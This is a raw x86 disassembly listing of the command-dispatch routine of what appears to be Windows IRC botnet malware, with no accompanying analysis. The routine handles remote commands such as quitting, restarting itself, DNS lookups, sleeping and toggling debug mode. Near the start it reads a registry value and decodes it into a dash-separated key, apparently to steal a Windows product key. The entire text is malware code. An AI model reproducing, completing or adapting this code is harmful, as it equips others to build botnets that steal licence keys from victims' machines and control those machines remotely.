		xor	ebx, ebx
		push	eax
		mov	[ebp+arg_18], ebx
		mov	[ebp+arg_8], 0C8h
		movsb
		call	sub_40B5E1
		pop	ecx
		lea	eax, [ebp+arg_18]
		push	eax
		push	20019h
		lea	eax, [ebp+var_260]
		push	ebx
		push	eax
		push	80000002h
		call	dword_412000	; RegOpenKeyExA
		test	eax, eax
		lea	eax, [ebp+var_260]
		push	eax
		jnz	short loc_407DCE
		call	sub_40B5A8
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40B5E1
		pop	ecx
		lea	eax, [ebp+arg_8]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_328]
		push	eax
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		call	dword_41200C	; RegQueryValueExA
		test	eax, eax
		lea	eax, [ebp+var_18]
		push	eax
		jz	short loc_407DEB


loc_407DCE:				; CODE XREF: sub_407A76+324j
		call	sub_40B5A8
		cmp	[ebp+arg_18], ebx
		pop	ecx
		jz	loc_408D69
		push	[ebp+arg_18]
		call	dword_412028	; RegCloseKey
		jmp	loc_408D69
; ---------------------------------------------------------------------------


loc_407DEB:				; CODE XREF: sub_407A76+356j
		call	sub_40B5A8
		pop	ecx
		push	[ebp+arg_18]
		call	dword_412028	; RegCloseKey
		push	7
		mov	esi, offset dword_414DE4
		pop	ecx
		lea	edi, [ebp+var_228]
		rep movsd
		lea	eax, [ebp+var_228]
		push	eax
		movsb
		call	sub_40B5E1
		pop	ecx
		mov	[ebp+var_47], bl
		mov	[ebp+arg_0], 18h


loc_407E22:				; CODE XREF: sub_407A76+3F0j
		xor	edx, edx
		mov	[ebp+arg_14], 0Eh


loc_407E2B:				; CODE XREF: sub_407A76+3DDj
		mov	eax, [ebp+arg_14]
		mov	ecx, edx
		shl	ecx, 8
		lea	esi, [ebp+eax+var_2F4]
		push	18h
		pop	edi
		movzx	eax, byte ptr [esi]
		add	ecx, eax
		push	edi
		mov	eax, ecx
		cdq
		idiv	edi
		mov	[esi], al
		mov	eax, ecx
		cdq
		pop	ecx
		idiv	ecx
		dec	[ebp+arg_14]
		jns	short loc_407E2B
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+edx+var_228]
		dec	[ebp+arg_0]
		mov	[ebp+ecx+var_60], al
		jns	short loc_407E22
		lea	eax, [ebp+var_228]
		push	eax
		call	sub_40B5A8
		push	5
		lea	eax, [ebp+var_60]
		pop	esi
		mov	[ebp+var_23], bl
		push	esi
		push	eax
		lea	eax, [ebp+var_40]
		mov	[ebp+var_29], 2Dh
		push	eax
		mov	[ebp+var_2F], 2Dh
		mov	[ebp+var_35], 2Dh
		mov	[ebp+var_3B], 2Dh
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_5B]
		push	esi
		push	eax
		lea	eax, [ebp+var_3A]
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_56]
		push	esi
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_51]
		push	esi
		push	eax
		lea	eax, [ebp+var_2E]
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_4C]
		push	esi
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 40h
		lea	eax, [ebp+var_40]
		push	eax
		push	offset dword_413B6C
		jmp	loc_40835E
; ---------------------------------------------------------------------------


loc_407EE1:				; CODE XREF: sub_407A76+2C1j
		cmp	edi, dword_414DD4
		jnz	short loc_407F31
		xor	ebx, ebx
		mov	[ebp+var_6C], 1
		cmp	[ebp+var_7D], bl
		jz	short loc_407F05
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40DE4C
		jmp	loc_408D68
; ---------------------------------------------------------------------------


loc_407F05:				; CODE XREF: sub_407A76+47Cj
		cmp	[ebp+var_6F], bl
		lea	eax, [ebp+var_208]
		push	eax
		jz	short loc_407F1B
		call	sub_40E243
		jmp	loc_408D68
; ---------------------------------------------------------------------------


loc_407F1B:				; CODE XREF: sub_407A76+499j
		call	sub_40DE4C
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40E243
		jmp	loc_408D2E
; ---------------------------------------------------------------------------


loc_407F31:				; CODE XREF: sub_407A76+471j
		cmp	edi, dword_414DC4
		jnz	short loc_407F4A
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4101AE
		jmp	loc_408D68
; ---------------------------------------------------------------------------


loc_407F4A:				; CODE XREF: sub_407A76+4C1j
		cmp	edi, dword_414DB8
		jnz	loc_407FDA
		push	8
		mov	esi, offset dword_414D94
		pop	ecx
		lea	edi, [ebp+var_40]
		rep movsd
		movsb
		mov	edx, off_418E20
		mov	esi, offset dword_414D8C
		lea	edi, [ebp+var_C]
		xor	eax, eax
		movsd
		movsw
		mov	cl, [ebp+var_C]
		mov	edi, offset dword_414D80
		cmp	cl, [edx]
		setz	al
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_407F8F
		mov	edi, offset dword_414D70


loc_407F8F:				; CODE XREF: sub_407A76+512j
		cmp	eax, ebx
		mov	esi, offset aThisBuildIsFul ; "This build is fully functional"
		jnz	short loc_407F9D
		mov	esi, offset aThisBuildIsBro ; "This build is broken and	will not funct"...


loc_407F9D:				; CODE XREF: sub_407A76+520j
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40B5E1
		mov	eax, dword_419FD0
		pop	ecx
		push	esi
		and	eax, 0FFFFh
		push	edi
		push	eax
		movzx	eax, byte ptr dword_418E00
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4096CB
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40B5A8
		jmp	loc_40898E
; ---------------------------------------------------------------------------


loc_407FDA:				; CODE XREF: sub_407A76+4DAj
		cmp	edi, dword_414D10
		jnz	short loc_408002
		push	dword ptr [esi+14h]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+10h]
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	eax
		call	sub_4044AA
		jmp	loc_408235
; ---------------------------------------------------------------------------


loc_408002:				; CODE XREF: sub_407A76+56Aj
		cmp	edi, dword_414D04
		jnz	short loc_408026
		mov	eax, [ebp+arg_18]
		add	esi, 4
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_208]
		push	esi
		push	eax
		call	sub_4111DB
		jmp	loc_40836A
; ---------------------------------------------------------------------------


loc_408026:				; CODE XREF: sub_407A76+592j
		cmp	edi, dword_414CF8
		jz	loc_408D5D
		cmp	edi, dword_414CEC
		jz	loc_408D5D
		cmp	edi, dword_414CDC
		jnz	short loc_40805D
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+4]
		push	eax
		call	sub_4027CB
		jmp	loc_40836A
; ---------------------------------------------------------------------------


loc_40805D:				; CODE XREF: sub_407A76+5CEj
		cmp	edi, dword_414CD0
		jnz	short loc_40807F
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+4]
		push	eax
		call	sub_401FA3
		jmp	loc_40836A
; ---------------------------------------------------------------------------


loc_40807F:				; CODE XREF: sub_407A76+5EDj
		cmp	edi, dword_414CC0
		jnz	short loc_4080A1
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	eax
		call	sub_40495C
		jmp	loc_408A9C
; ---------------------------------------------------------------------------


loc_4080A1:				; CODE XREF: sub_407A76+60Fj
		cmp	edi, dword_414CB0
		jnz	short loc_4080C3
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+4]
		push	eax
		call	sub_4110B4
		jmp	loc_40836A
; ---------------------------------------------------------------------------


loc_4080C3:				; CODE XREF: sub_407A76+631j
		cmp	edi, dword_414CA0
		jnz	short loc_4080F6
		mov	esi, [ebp+arg_18]
		mov	eax, [esi+4]
		test	eax, eax
		jz	loc_408D69
		push	eax
		push	80000001h
		call	sub_401000
		push	dword ptr [esi+4]
		push	80000002h
		call	sub_401000
		jmp	loc_408A9C
; ---------------------------------------------------------------------------


loc_4080F6:				; CODE XREF: sub_407A76+653j
		cmp	edi, dword_414C90
		jnz	short loc_40810E
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40110A
		jmp	loc_408D68
; ---------------------------------------------------------------------------


loc_40810E:				; CODE XREF: sub_407A76+686j
		cmp	edi, dword_414C84
		jnz	short loc_40812F
		push	0


loc_408118:				; CODE XREF: sub_407A76+6C2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4014B0
		jmp	loc_40836A
; ---------------------------------------------------------------------------


loc_40812F:				; CODE XREF: sub_407A76+69Ej
		cmp	edi, dword_414C78
		jnz	short loc_40813A
		push	eax
		jmp	short loc_408118
; ---------------------------------------------------------------------------


loc_40813A:				; CODE XREF: sub_407A76+6BFj
		cmp	edi, dword_414C6C
		jnz	short loc_408153
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40719C
		jmp	loc_408D68
; ---------------------------------------------------------------------------


loc_408153:				; CODE XREF: sub_407A76+6CAj
		cmp	edi, dword_414C64
		jnz	short loc_40816A
		push	offset dword_41A2E8
		push	offset dword_414C54
		jmp	loc_40835E
; ---------------------------------------------------------------------------


loc_40816A:				; CODE XREF: sub_407A76+6E3j
		cmp	edi, dword_414C48
		jnz	short loc_408189
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40F6CD
		jmp	loc_408D2E
; ---------------------------------------------------------------------------


loc_408189:				; CODE XREF: sub_407A76+6FAj
		cmp	edi, dword_414C3C
		jz	loc_408D3D
		cmp	edi, dword_414C30
		jz	loc_408D3D
		cmp	edi, dword_414C24
		jz	loc_408D3D
		cmp	edi, dword_414C14
		jnz	short loc_4081C6
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40F7FD
		jmp	loc_408D68
; ---------------------------------------------------------------------------


loc_4081C6:				; CODE XREF: sub_407A76+73Dj
		cmp	edi, dword_414C00
		jnz	short loc_408212
		mov	esi, [ebp+arg_18]
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4081FE
		push	eax
		call	sub_41115C
		test	eax, eax
		pop	ecx
		jz	loc_408D69
		push	104h
		push	dword ptr [esi+4]
		push	offset dword_419FE0
		call	sub_4059C2
		jmp	loc_40836A
; ---------------------------------------------------------------------------


loc_4081FE:				; CODE XREF: sub_407A76+760j
		push	offset dword_419ECC
		push	offset dword_419FE0


loc_408208:				; CODE XREF: sub_407A76+902j
					; sub_407A76+112Aj
		call	sub_4114B8	; _mbscpy
		jmp	loc_408D2E
; ---------------------------------------------------------------------------


loc_408212:				; CODE XREF: sub_407A76+756j
		cmp	edi, dword_414BF0
		jnz	short loc_40823D
		push	dword ptr [esi+14h]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+10h]
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	eax
		call	sub_40FBA7


loc_408235:				; CODE XREF: sub_407A76+587j
					; sub_407A76+12E2j
		add	esp, 18h
		jmp	loc_408D69
; ---------------------------------------------------------------------------


loc_40823D:				; CODE XREF: sub_407A76+7A2j
		cmp	edi, dword_414BE8
		jnz	loc_4082EA
		mov	esi, [ebp+arg_18]
		xor	ebx, ebx
		mov	eax, [esi+4]
		cmp	eax, ebx
		jz	loc_408D69
		push	eax
		call	sub_4114BE	; strlen
		shl	eax, 1
		push	eax
		call	sub_4114C4	; malloc
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_408D69
		push	dword ptr [esi+4]
		call	sub_4114BE	; strlen
		push	eax
		push	edi
		push	dword ptr [esi+4]
		call	sub_40A51A
		add	esp, 10h
		lea	eax, [ebp+var_208]
		push	edi
		push	offset dword_414BCC
		push	eax
		call	sub_4096CB
		push	edi
		call	sub_4114CA	; free
		mov	esi, 1000h
		lea	eax, [ebp+var_19E4]
		push	esi
		push	eax
		call	sub_40B4D9
		add	esp, 18h
		call	sub_4114E2	; clock
		mov	ebx, eax
		mov	edi, 186A0h


loc_4082C1:				; CODE XREF: sub_407A76+863j
		lea	eax, [ebp+var_59E4]
		push	esi
		push	eax
		lea	eax, [ebp+var_19E4]
		push	eax
		call	sub_40A51A
		add	esp, 0Ch
		dec	edi
		jnz	short loc_4082C1
		call	sub_4114E2	; clock
		sub	eax, ebx
		push	eax
		push	offset aItTookMeUms_ ; "It took	me %ums."
		jmp	short loc_40835E
; ---------------------------------------------------------------------------


loc_4082EA:				; CODE XREF: sub_407A76+7CDj
		cmp	edi, dword_414BAC
		jnz	short loc_408345
		mov	edi, [ebp+arg_18]
		xor	ebx, ebx
		mov	eax, [edi+4]
		cmp	eax, ebx
		jz	loc_408D69
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_408D69
		push	esi
		push	dword ptr [edi+4]
		call	sub_40A44E
		pop	ecx
		mov	[eax+esi], bl
		pop	ecx
		lea	eax, [ebp+var_208]
		push	esi
		push	offset dword_414B90
		push	eax
		call	sub_4096CB
		push	esi
		call	sub_4114CA	; free
		jmp	loc_408A9C
; ---------------------------------------------------------------------------


loc_408345:				; CODE XREF: sub_407A76+87Aj
		cmp	edi, dword_414B80
		jnz	short loc_40837D
		mov	esi, [esi+4]
		test	esi, esi
		jnz	short loc_408372
		push	offset dword_41A2E8
		push	offset dword_414B6C


loc_40835E:				; CODE XREF: sub_407A76+F0j
					; sub_407A76+1E3j ...
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4096CB


loc_40836A:				; CODE XREF: sub_407A76+10Fj
					; sub_407A76+5ABj ...
		add	esp, 0Ch
		jmp	loc_408D69
; ---------------------------------------------------------------------------


loc_408372:				; CODE XREF: sub_407A76+8DCj
		push	esi
		push	offset dword_41A2E8
		jmp	loc_408208
; ---------------------------------------------------------------------------


loc_40837D:				; CODE XREF: sub_407A76+8D5j
		cmp	edi, dword_414B60
		jnz	short loc_408392
		push	dword ptr [esi+4]
		call	sub_406EA9
		jmp	loc_408D68
; ---------------------------------------------------------------------------


loc_408392:				; CODE XREF: sub_407A76+90Dj
		cmp	edi, dword_414B54
		jnz	short loc_4083AE
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4030A7
		jmp	loc_408D2E
; ---------------------------------------------------------------------------


loc_4083AE:				; CODE XREF: sub_407A76+922j
		cmp	edi, dword_414B44
		jnz	short loc_4083C3
		push	dword ptr [esi+4]
		call	sub_406F84
		jmp	loc_408D68
; ---------------------------------------------------------------------------


loc_4083C3:				; CODE XREF: sub_407A76+93Ej
		cmp	edi, dword_414B38
		jnz	short loc_4083E2
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_404ACF
		jmp	loc_408D2E
; ---------------------------------------------------------------------------


loc_4083E2:				; CODE XREF: sub_407A76+953j
		cmp	edi, dword_414B28
		jnz	short loc_4083FE
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40EA2F
		jmp	loc_408D2E
; ---------------------------------------------------------------------------


loc_4083FE:				; CODE XREF: sub_407A76+972j
		cmp	edi, dword_414B1C
		jnz	short loc_408423
		push	dword ptr [esi+10h]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	eax
		call	sub_40756C
		jmp	loc_408CFA
; ---------------------------------------------------------------------------


loc_408423:				; CODE XREF: sub_407A76+98Ej
		cmp	edi, dword_414B10
		jnz	short loc_408442
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+4]
		push	eax
		call	sub_40780C
		jmp	loc_40836A
; ---------------------------------------------------------------------------


loc_408442:				; CODE XREF: sub_407A76+9B3j
		cmp	edi, dword_414B04
		jnz	short loc_408465
		push	offset dword_419ECC
		push	offset aQuitSRemoved_ ;	"QUIT :%s removed."
		call	sub_4097DB
		pop	ecx
		pop	ecx
		push	36EE80h
		jmp	loc_40851C
; ---------------------------------------------------------------------------


loc_408465:				; CODE XREF: sub_407A76+9D2j
		cmp	edi, dword_414AE4
		jnz	short loc_4084B3
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	loc_408D69
		mov	edi, offset dword_418E50
		push	eax
		push	edi
		call	sub_4114B8	; _mbscpy
		mov	esi, [esi+8]
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jnz	short loc_408494
		mov	esi, offset byte_4191D0


loc_408494:				; CODE XREF: sub_407A76+A17j
		push	esi
		mov	esi, offset dword_41A0E8
		push	esi
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx
		push	esi
		push	edi


loc_4084A4:				; CODE XREF: sub_407A76+A60j
		push	offset dword_414AD8
		call	sub_4097DB
		jmp	loc_40836A
; ---------------------------------------------------------------------------


loc_4084B3:				; CODE XREF: sub_407A76+9F5j
		cmp	edi, dword_414ACC
		jnz	short loc_4084D8
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	loc_408D69
		mov	esi, [esi+8]
		cmp	esi, ebx
		jnz	short loc_4084D4
		mov	esi, offset byte_4191D0


loc_4084D4:				; CODE XREF: sub_407A76+A57j
		push	esi
		push	eax
		jmp	short loc_4084A4
; ---------------------------------------------------------------------------


loc_4084D8:				; CODE XREF: sub_407A76+A43j
		cmp	edi, dword_414AC0
		jnz	short loc_4084F6
		mov	esi, [esi+4]
		test	esi, esi
		jz	loc_408D69
		push	esi
		push	offset dword_414AB8
		jmp	loc_407B1B
; ---------------------------------------------------------------------------


loc_4084F6:				; CODE XREF: sub_407A76+A68j
		cmp	edi, dword_414AAC
		jnz	short loc_408527
		mov	esi, [esi+4]
		test	esi, esi
		jz	loc_408D69
		push	esi
		call	sub_41151C	; atoi
		cmp	eax, 927C0h
		pop	ecx
		jg	loc_408D69
		push	eax


loc_40851C:				; CODE XREF: sub_407A76+9EAj
		call	dword_4120A4	; Sleep
		jmp	loc_408D69
; ---------------------------------------------------------------------------


loc_408527:				; CODE XREF: sub_407A76+A86j
		cmp	edi, dword_414AA4
		jnz	short loc_408556
		mov	esi, [esi+4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_408D69
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+8]
		cmp	eax, ebx
		jz	loc_408D69
		push	eax
		push	esi
		call	sub_409659
		jmp	loc_408D2E
; ---------------------------------------------------------------------------


loc_408556:				; CODE XREF: sub_407A76+AB7j
		cmp	edi, dword_414A98
		jnz	short loc_408585
		mov	esi, [esi+4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_408D69
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+8]
		cmp	eax, ebx
		jz	loc_408D69
		push	eax
		push	esi
		call	sub_4095E7
		jmp	loc_408D2E
; ---------------------------------------------------------------------------


loc_408585:				; CODE XREF: sub_407A76+AE6j
		cmp	edi, dword_414A90
		jnz	short loc_4085A1
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		test	eax, eax
		jz	loc_408D69
		push	eax
		jmp	loc_408D36
; ---------------------------------------------------------------------------


loc_4085A1:				; CODE XREF: sub_407A76+B15j
		cmp	edi, dword_414A84
		jnz	short loc_4085EB
		mov	esi, [esi+4]
		xor	ebx, ebx
		cmp	esi, ebx
		jnz	short loc_4085CF
		cmp	dword_4191D8, ebx
		mov	eax, offset aOn	; "on"
		jnz	short loc_4085C4
		mov	eax, offset aOff ; "off"


loc_4085C4:				; CODE XREF: sub_407A76+B47j
		push	eax
		push	offset aDebugModeIsS_ ;	"Debug mode is %s."
		jmp	loc_40835E
; ---------------------------------------------------------------------------


loc_4085CF:				; CODE XREF: sub_407A76+B3Aj
		push	offset aOn	; "on"
		push	esi
		call	sub_411924	; _strcmpi
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	dword_4191D8, eax
		jmp	loc_408D69
; ---------------------------------------------------------------------------


loc_4085EB:				; CODE XREF: sub_407A76+B31j
		cmp	edi, dword_414A58
		jnz	short loc_408604
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_410B3B
		jmp	loc_408D68
; ---------------------------------------------------------------------------


loc_408604:				; CODE XREF: sub_407A76+B7Bj
		cmp	edi, dword_414A4C
		jnz	short loc_408626
		cmp	dword ptr [esi+4], 0
		jz	loc_408D69
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset dword_414A44
		jmp	loc_407B1B
; ---------------------------------------------------------------------------


loc_408626:				; CODE XREF: sub_407A76+B94j
		cmp	edi, dword_414A38
		jz	loc_408D31
		cmp	edi, dword_414A2C
		jz	loc_408D31
		cmp	edi, dword_414A24
		jz	loc_408D31
		cmp	edi, dword_414A18
		jnz	short loc_40869F
		lea	eax, [ebp+var_364]
		push	104h
		xor	ebx, ebx
		push	eax
		push	ebx
		call	dword_412094	; GetModuleHandleA
		push	eax
		call	dword_412098	; GetModuleFileNameA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_364]
		push	ebx
		push	eax
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4121E4
		cmp	eax, 20h
		jbe	loc_408D69
		push	offset aQuitRestarting ; "QUIT :restarting"
		call	sub_4097DB
		pop	ecx
		push	ebx
		call	dword_412064	; ExitProcess


loc_40869F:				; CODE XREF: sub_407A76+BDAj
		cmp	edi, dword_414A0C
		jnz	short loc_4086CD
		mov	esi, [esi+4]
		test	esi, esi
		jz	loc_408D69
		movzx	eax, byte ptr [esi]
		push	eax
		push	eax
		push	offset dword_4149DC


loc_4086BC:				; CODE XREF: sub_407A76+E32j
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4096CB
		jmp	loc_408A9C
; ---------------------------------------------------------------------------


loc_4086CD:				; CODE XREF: sub_407A76+C2Fj
		cmp	edi, dword_4149CC
		jnz	short loc_4086DF
		call	sub_4052DF
		jmp	loc_408D69
; ---------------------------------------------------------------------------


loc_4086DF:				; CODE XREF: sub_407A76+C5Dj
		cmp	edi, dword_4149C4
		jz	loc_408D1C
		cmp	edi, dword_4149B8
		jz	loc_408D1C
		cmp	edi, dword_4149B0
		jnz	short loc_408716
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_409149
		jmp	loc_408D2E
; ---------------------------------------------------------------------------


loc_408716:				; CODE XREF: sub_407A76+C87j
		cmp	edi, dword_4149A4
		jz	loc_408CFF
		cmp	edi, dword_414994
		jz	loc_408CFF
		cmp	edi, dword_41498C
		jnz	loc_40883A
		xor	ebx, ebx
		cmp	[esi+4], ebx
		jnz	short loc_408748
		mov	dword ptr [esi+4], offset byte_4191D0


loc_408748:				; CODE XREF: sub_407A76+CC9j
		lea	eax, [ebp+arg_14]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi+4]
		call	dword_419224	; getaddrinfo
		test	eax, eax
		jnz	loc_4088B3
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40882C
		mov	edi, 3E8h


loc_408772:				; CODE XREF: sub_407A76+DB0j
		push	2
		push	ebx
		push	ebx
		lea	eax, [ebp+var_9E4]
		push	401h
		push	eax
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+10h]
		push	dword ptr [eax+18h]
		call	dword_419228	; getnameinfo
		test	eax, eax
		jnz	loc_40881B
		mov	eax, [ebp+arg_18]
		mov	ecx, [eax+4]
		cmp	ecx, 2
		jnz	short loc_4087CE
		mov	eax, [esi+4]
		cmp	[eax], bl
		jnz	short loc_4087B0
		mov	eax, offset dword_414988


loc_4087B0:				; CODE XREF: sub_407A76+D33j
		lea	ecx, [ebp+var_9E4]
		push	ecx
		push	eax
		push	offset dword_414964


loc_4087BD:				; CODE XREF: sub_407A76+D76j
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4096CB
		add	esp, 10h
		jmp	short loc_408814
; ---------------------------------------------------------------------------


loc_4087CE:				; CODE XREF: sub_407A76+D2Cj
		mov	eax, [esi+4]
		cmp	ecx, 17h
		jnz	short loc_4087EE
		cmp	[eax], bl
		jnz	short loc_4087DF
		mov	eax, offset dword_414988


loc_4087DF:				; CODE XREF: sub_407A76+D62j
		lea	ecx, [ebp+var_9E4]
		push	ecx
		push	eax
		push	offset dword_414940
		jmp	short loc_4087BD
; ---------------------------------------------------------------------------


loc_4087EE:				; CODE XREF: sub_407A76+D5Ej
		cmp	[eax], bl
		jnz	short loc_4087F7
		mov	eax, offset dword_414988


loc_4087F7:				; CODE XREF: sub_407A76+D7Aj
		lea	edx, [ebp+var_9E4]
		push	edx
		push	ecx
		push	eax
		lea	eax, [ebp+var_208]
		push	offset dword_41490C
		push	eax
		call	sub_4096CB
		add	esp, 14h


loc_408814:				; CODE XREF: sub_407A76+D56j
		push	edi
		call	dword_4120A4	; Sleep


loc_40881B:				; CODE XREF: sub_407A76+D1Dj
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+1Ch]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jnz	loc_408772


loc_40882C:				; CODE XREF: sub_407A76+CF1j
		push	[ebp+arg_14]
		call	dword_41922C	; freeaddrinfo
		jmp	loc_408D69
; ---------------------------------------------------------------------------


loc_40883A:				; CODE XREF: sub_407A76+CBEj
		cmp	edi, dword_414900
		jnz	short loc_4088C0
		xor	ebx, ebx
		cmp	[esi+4], ebx
		jnz	short loc_408850
		mov	dword ptr [esi+4], offset byte_4191D0


loc_408850:				; CODE XREF: sub_407A76+DD1j
		lea	eax, [ebp+arg_18]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi+4]
		call	dword_419224	; getaddrinfo
		test	eax, eax
		jnz	short loc_4088B3
		push	4
		push	ebx
		push	ebx
		lea	eax, [ebp+var_9E4]
		push	401h
		push	eax
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+10h]
		push	dword ptr [eax+18h]
		call	dword_419228	; getnameinfo
		push	[ebp+arg_18]
		test	eax, eax
		jnz	short loc_4088AD
		call	dword_41922C	; freeaddrinfo
		mov	esi, [esi+4]
		cmp	[esi], bl
		jnz	short loc_40889B
		mov	esi, offset dword_414988


loc_40889B:				; CODE XREF: sub_407A76+E1Ej
		lea	eax, [ebp+var_9E4]
		push	eax
		push	esi
		push	offset dword_4148E4
		jmp	loc_4086BC
; ---------------------------------------------------------------------------


loc_4088AD:				; CODE XREF: sub_407A76+E11j
		call	dword_41922C	; freeaddrinfo


loc_4088B3:				; CODE XREF: sub_407A76+CE3j
					; sub_407A76+DEBj
		push	dword ptr [esi+4]
		push	offset dword_4148C8
		jmp	loc_40835E
; ---------------------------------------------------------------------------


loc_4088C0:				; CODE XREF: sub_407A76+DCAj
		cmp	edi, dword_4148B8
		jnz	loc_4089A3
		mov	eax, [esi+4]
		xor	ebx, ebx
		cmp	eax, ebx
		jz	loc_408D69
		push	eax
		call	sub_4114BE	; strlen
		cmp	eax, 0Ah
		pop	ecx
		jbe	loc_408D69
		push	dword ptr [esi+4]
		call	sub_4114BE	; strlen
		push	4
		push	offset a2002	; "2002"
		push	dword ptr [esi+4]
		mov	edi, eax
		call	sub_41178A	; memcmp
		add	esp, 10h
		test	eax, eax
		jnz	loc_408996
		mov	eax, [esi+4]
		add	eax, edi
		mov	cl, [eax-9]
		mov	byte ptr [ebp+var_10], cl
		mov	cl, [eax-8]
		mov	byte ptr [ebp+var_10+1], cl
		mov	byte ptr [ebp+var_10+2], bl
		mov	cl, [eax-7]
		mov	byte ptr [ebp+var_10+3], cl
		mov	cl, [eax-6]
		mov	[ebp+var_C], cl
		mov	[ebp+var_B], bl
		mov	cl, [eax-4]
		mov	[ebp+var_A], cl
		mov	cl, [eax-3]
		mov	[ebp+var_9], cl
		mov	byte ptr [ebp+var_8], bl
		mov	cl, [eax-2]
		mov	byte ptr [ebp+var_8+1],	cl
		mov	al, [eax-1]
		mov	byte ptr [ebp+var_8+2],	al
		lea	eax, [ebp+var_8+1]
		push	eax
		mov	byte ptr [ebp+var_8+3],	bl
		call	sub_4079AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A]
		push	eax
		call	sub_4079AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_10+3]
		push	eax
		call	sub_4079AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4079AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+4]
		push	offset dword_414880
		push	eax
		call	sub_4096CB


loc_40898E:				; CODE XREF: sub_407A76+55Fj
		add	esp, 1Ch
		jmp	loc_408D69
; ---------------------------------------------------------------------------


loc_408996:				; CODE XREF: sub_407A76+E91j
		push	dword ptr [esi+4]
		push	offset dword_414864
		jmp	loc_40835E
; ---------------------------------------------------------------------------


loc_4089A3:				; CODE XREF: sub_407A76+E50j
		cmp	edi, dword_414858
		jnz	loc_408A67
		call	sub_4114E2	; clock
		mov	[ebp+arg_0], eax
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		mov	[ebp+arg_14], ebx
		mov	byte ptr [ebp+arg_18+3], bl
		call	sub_4114E8	; memset
		add	esp, 0Ch
		mov	[ebp+var_14], 2
